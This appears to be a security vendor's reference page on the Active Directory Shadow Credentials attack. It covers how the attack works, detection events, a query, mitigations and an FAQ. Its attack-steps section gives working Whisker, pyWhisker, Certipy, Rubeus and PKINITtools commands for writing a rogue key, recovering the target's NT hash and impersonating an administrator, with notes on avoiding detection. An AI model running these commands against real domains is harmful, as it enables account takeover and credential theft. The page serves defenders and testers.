1. Resources
  2. Identity Threats
  3. Active Directory

Shadow Credentials (msDS-KeyCredentialLink)

Also known as: Shadow credentials attack, AddKeyCredentialLink, msDS-KeyCredentialLink abuse, Key trust account takeover, UnPAC-the-hash

An attacker who can write msDS-KeyCredentialLink on a user or computer adds their own public key, then signs in as that account with Kerberos PKINIT without knowing or changing its password.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
Write access to msDS-KeyCredentialLink on the target: GenericAll, GenericWrite, WriteProperty on the attribute, or membership of Key Admins or Enterprise Key Admins.
What the attacker gains
A TGT for the target account and usually its NT hash. The password is not changed, and access lasts until the key is removed.
Threat groups
HAFNIUMLazarus GroupNIMBUS MANTICOREScattered SpiderTeamPCPVOID MANTICOREAkiraAPT18APT28APT29APT32APT33APT39APT41and 39 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1098, T1550.003, T1078.

How it works

Windows Hello for Business and FIDO2 sign-in use key trust: the account's public key is stored in the directory, and the user proves possession of the private key. Active Directory keeps those public keys in the multi-valued attribute msDS-KeyCredentialLink on the user or computer object. Each value is a key credential blob with the key material, a DeviceID, usage flags and timestamps.

The sign-in itself is Kerberos PKINIT. The client signs the pre-authentication data in its AS-REQ with the private key. The KDC looks for the matching public key in the account's msDS-KeyCredentialLink, and if it finds one it returns a ticket-granting ticket for the account. No password is involved.

The directory does not check where a key came from. Whoever can write the attribute can add a key pair they generated themselves, and the KDC will accept it. So a write permission on one attribute becomes the ability to authenticate as the account:

  1. The attacker generates a key pair and a self-signed certificate.
  2. They append a key credential with the public key to the target's msDS-KeyCredentialLink.
  3. They request a TGT for the target with PKINIT, using the private key.

Compared with resetting the target's password, the target keeps working, nobody is locked out, and the account's owner sees nothing.

UnPAC-the-hash

When a client authenticates with PKINIT, the KDC includes the account's NTLM credential in the ticket's PAC, so that the account can still use NTLM. The attacker requests a user-to-user service ticket to themselves and decrypts that part with the AS-REP key. The result is the target's NT hash, obtained without touching LSASS or replication. Rubeus /getcredentials, PKINITtools getnthash.py and certipy auth do this automatically. The hash is then usable for pass the hash and for forging service tickets to the account.

Targets

  • Users. The TGT carries the user's SID and groups.
  • Computers. The TGT is for the machine account. With S4U2Self, the machine account obtains a service ticket to itself for any delegable user, which yields local administrator access to that computer. For a domain controller's account the next step is directory replication.
  • Group managed service accounts. The attribute exists on gMSAs too, and the result is authentication as the service identity.

Who holds the write

GenericAll and GenericWrite on the object include it, as does WriteProperty on the attribute. The built-in groups Key Admins and Enterprise Key Admins exist to manage this attribute across the domain or forest, so membership in either is equivalent to the attack against every account in scope. A computer account may add a key to its own object when the attribute is empty, which is why an NTLM relay to LDAP of a computer's authentication can end in shadow credentials for that computer.

Prerequisites

  • Write access to msDS-KeyCredentialLink on the target (schema GUID 5b47d60f-6090-40b2-9f37-2a4de88f3063), through any of the rights above.
  • A domain controller that can do PKINIT: Windows Server 2016 or later, with a server authentication certificate and its private key. Domain controllers get one automatically where AD CS auto-enrollment is in place.
  • Network access to LDAP for the write and to Kerberos (88) for the ticket request, with clocks in sync.

List the keys already present before changing anything. Legitimate Windows Hello for Business and FIDO2 keys live in the same attribute:

Get-ADUser -Identity 'svc-sql' -Properties msDS-KeyCredentialLink |
  Select-Object SamAccountName, @{n='Keys';e={@($_.'msDS-KeyCredentialLink').Count}}

.\Whisker.exe list /target:svc-sql /domain:corp.example.com /dc:DC01.corp.example.com

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

The example gives alice write access to the user svc-sql.

1. Add a key credential

Whisker, from a Windows host in the domain. It generates the key pair, writes the public key to the target, saves the certificate as a PFX and prints the DeviceID of the new value together with a ready Rubeus command:

.\Whisker.exe add /target:svc-sql /domain:corp.example.com /dc:DC01.corp.example.com `
  /path:C:\Temp\svc-sql.pfx /password:'<pfx-password>'

pyWhisker, from Linux:

python3 pywhisker.py -d 'corp.example.com' -u 'alice' -p '<password>' \
  --target 'svc-sql' --action add \
  --filename 'svc-sql' --export PFX --pfx-password '<pfx-password>'

Certipy. add writes the key and saves the PFX; auto adds the key, authenticates, prints the NT hash and removes the key again in one run:

certipy shadow -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 \
  -account 'svc-sql' add

certipy shadow -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 \
  -account 'svc-sql' auto

For a computer target, name the computer account (SRV01$) as the target.

2. Request a TGT with the key

Rubeus requests the TGT with PKINIT and, with /getcredentials, recovers the NT hash:

.\Rubeus.exe asktgt /user:svc-sql /certificate:C:\Temp\svc-sql.pfx `
  /password:'<pfx-password>' /domain:corp.example.com /dc:DC01.corp.example.com `
  /getcredentials /show /enctype:aes256

PKINITtools does the same in two steps. gettgtpkinit.py prints the AS-REP encryption key that getnthash.py needs:

python3 PKINITtools/gettgtpkinit.py -cert-pfx svc-sql.pfx \
  -pfx-pass '<pfx-password>' corp.example.com/svc-sql svc-sql.ccache

export KRB5CCNAME=svc-sql.ccache
python3 PKINITtools/getnthash.py -key '<as-rep-key>' corp.example.com/svc-sql

Certipy:

certipy auth -pfx svc-sql.pfx -dc-ip 192.0.2.10 -username svc-sql -domain corp.example.com

3. Use the ticket or the hash

.\Rubeus.exe ptt /ticket:'<base64-ticket>'
klist
dir \\SRV01.corp.example.com\share

With a computer account's TGT, S4U2Self gives a service ticket to that computer in the name of an administrator:

.\Rubeus.exe s4u /self /impersonateuser:administrator `
  /altservice:cifs/SRV01.corp.example.com `
  /ticket:'<base64-ticket>' /dc:DC01.corp.example.com /ptt

4. Remove the key, or keep it

An operator who only needed the hash removes the exact value by its DeviceID. Clearing the attribute would also delete the account's legitimate keys:

.\Whisker.exe remove /target:svc-sql /domain:corp.example.com /dc:DC01.corp.example.com `
  /deviceid:00000000-0000-0000-0000-000000000000
python3 pywhisker.py -d 'corp.example.com' -u 'alice' -p '<password>' \
  --target 'svc-sql' --action remove --device-id 00000000-0000-0000-0000-000000000000

Left in place, the key is a persistence mechanism.

Impact

The attacker becomes the target account. For a user that means its group memberships, its mailbox and data, and its rights on servers. For a computer it means local administrator on that host through S4U2Self, and for a domain controller's machine account it means the ability to replicate every secret in the domain. This is privilege escalation from one delegated write to full use of the account.

Two properties make it worse than a password reset. The account keeps working, so there is no outage to report. And the access outlives password changes: as long as the key stays in the attribute, the attacker can request a new TGT and read the current NT hash again. That makes it credential theft that renews itself.

OPSEC and artifacts

  • Add, use, remove. certipy shadow auto and a manual add and remove keep the key in the directory for seconds. Both writes still produce event 5136 for msDS-KeyCredentialLink on the target when Directory Service Changes auditing and a SACL cover the object, and event 4662 with access mask 0x20 and the attribute GUID when object access auditing is on.
  • One target, not many. Writing keys across many accounts multiplies those events. Operators pick a single account whose rights they need.
  • Blending with real keys. On accounts that use Windows Hello for Business, a new value sits among legitimate ones. Tool-generated values differ from Windows-generated ones in their metadata, and a DeviceID that matches no registered device is the tell.
  • The PKINIT request. The TGT request is event 4768 with pre-authentication type 16 and, where the build records them, the certificate issuer, serial number and thumbprint of the self-signed certificate. For an account that always signs in with a password this is unusual on its own.
  • Hash recovery. UnPAC-the-hash adds a user-to-user service ticket request, an event 4769 where the account requests a ticket to itself.
  • Later use. Events 4769, 4624 and 4672 wherever the ticket or the hash is used, from the attacker's address.
  • Files and processes. PFX and PEM files with the private key, .ccache and .kirbi files, and process or script block telemetry for Whisker, Rubeus, Certipy or pyWhisker on the operator's host.

Detection

  • Writes to the attribute. Event 5136 with msDS-KeyCredentialLink where the actor is not the account itself, not a device registration process and not an identity system such as Entra Connect. The shadow credentials detection rules are built on this event.
  • PKINIT by accounts that do not use it. Event 4768 with pre-authentication type 16 for service accounts, administrators without Windows Hello for Business, and computer accounts, particularly from an address that is not the account's usual host.
  • Write followed by PKINIT. The same target object in a 5136 and then a certificate-based 4768 within minutes is the full chain.
  • Inventory. List every account with a non-empty msDS-KeyCredentialLink and compare the device IDs against known enrollments. Privileged accounts, service accounts and domain controllers that have keys without a passwordless deployment need an explanation.
  • Membership of Key Admins and Enterprise Key Admins. Both groups are normally empty or hold only the Entra Connect account.
// Key credential written to a user or computer object
SecurityEvent
| where EventID == 5136
| where EventData has "msDS-KeyCredentialLink"
| project TimeGenerated, Computer, Account, EventData
| order by TimeGenerated desc

Event 5136 needs a SACL on the object. Add an audit entry for writes to msDS-KeyCredentialLink on privileged users, service accounts and computer objects of Tier 0 systems at minimum.

Mitigation

  • Remove the write paths. Review every entry that grants GenericAll, GenericWrite or WriteProperty on msDS-KeyCredentialLink over users and computers to principals outside Tier 0, and remove or narrow it. Broad grants to helpdesk groups, old management tools and Authenticated Users are the common findings.
  • Empty the key administration groups. Keep Key Admins and Enterprise Key Admins without members unless a deployment needs them, and monitor their membership.
  • Protect Tier 0 objects. Privileged users and domain controller computer objects should not be writable by anyone outside Tier 0. Review object ownership as well, because an owner can grant itself the write.
  • Close the relay route. Enforce LDAP signing and channel binding on domain controllers so that a relayed computer authentication cannot write its own key. The LDAP signing and channel binding guide has the steps.
  • Audit and baseline. Enable the directory service audit subcategories and set the attribute SACL, as described in the Active Directory audit policy guide. Keep a baseline of legitimate device IDs.
  • Respond precisely. Remove the rogue value by its DeviceID and leave legitimate keys in place. If the key was used, treat the account as compromised: reset its password (for a computer account, reset the machine account password), and remember that tickets already issued stay valid until they expire.
  • Do not remove the attribute or block PKINIT wholesale. Passwordless sign-in depends on both. The control is who can write the attribute.

Detection rules for this attack

Log events to collect

FAQ

Do shadow credentials require AD CS?

The target account does not need a certificate from AD CS: the attacker writes a self-generated key to the account. The domain controller, however, must be able to do PKINIT, which means at least one domain controller on Windows Server 2016 or later that has a server authentication certificate. That certificate usually comes from AD CS but can come from another PKI.

Does a password reset remove a shadow credential?

No. The key in msDS-KeyCredentialLink is independent of the password. After a reset the attacker can still request a TGT with the key and read the new NT hash from it. The rogue key value has to be removed from the attribute, and the write path that allowed it has to be closed.

How are shadow credentials detected?

The write is event 5136 for the msDS-KeyCredentialLink attribute when directory change auditing and a SACL cover the object. The use is event 4768 with pre-authentication type 16 (PKINIT) for an account that normally signs in with a password. Comparing the device IDs in the attribute against known Windows Hello for Business enrollments finds keys that were added before auditing.

Which accounts can be targeted?

Users, computers and group managed service accounts all carry the attribute. A user key gives a TGT with the user's groups. A computer key gives the machine account, which can then use S4U2Self to get a ticket to the computer as an administrator. A computer can also add a key to its own empty attribute, which is what relay attacks use.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.